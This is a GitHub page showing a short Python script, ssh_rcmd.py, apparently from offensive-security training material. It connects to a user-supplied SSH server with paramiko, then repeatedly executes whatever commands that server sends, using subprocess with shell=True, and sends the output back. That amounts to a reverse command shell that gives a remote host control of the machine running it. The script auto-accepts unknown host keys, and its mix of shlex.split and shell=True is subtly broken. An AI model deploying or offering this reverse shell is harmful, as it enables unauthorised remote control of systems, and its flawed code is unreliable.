-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_rcmd.py
More file actions
34 lines (31 loc) · 1.09 KB
/
Copy pathssh_rcmd.py
File metadata and controls
34 lines (31 loc) · 1.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import paramiko
import shlex
import subprocess
def ssh_command(ip,port,user,passwd,command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,port=port,username=user,password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print(ssh_session.recv(1024).decode())
while True:
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__':
import getpass
user = input('Enter User:')
password = getpass.getpass()
ip = input('Enter server IP:')
port = input('Enter port:')
ssh_command(ip,port,user,password,'ClientConnected')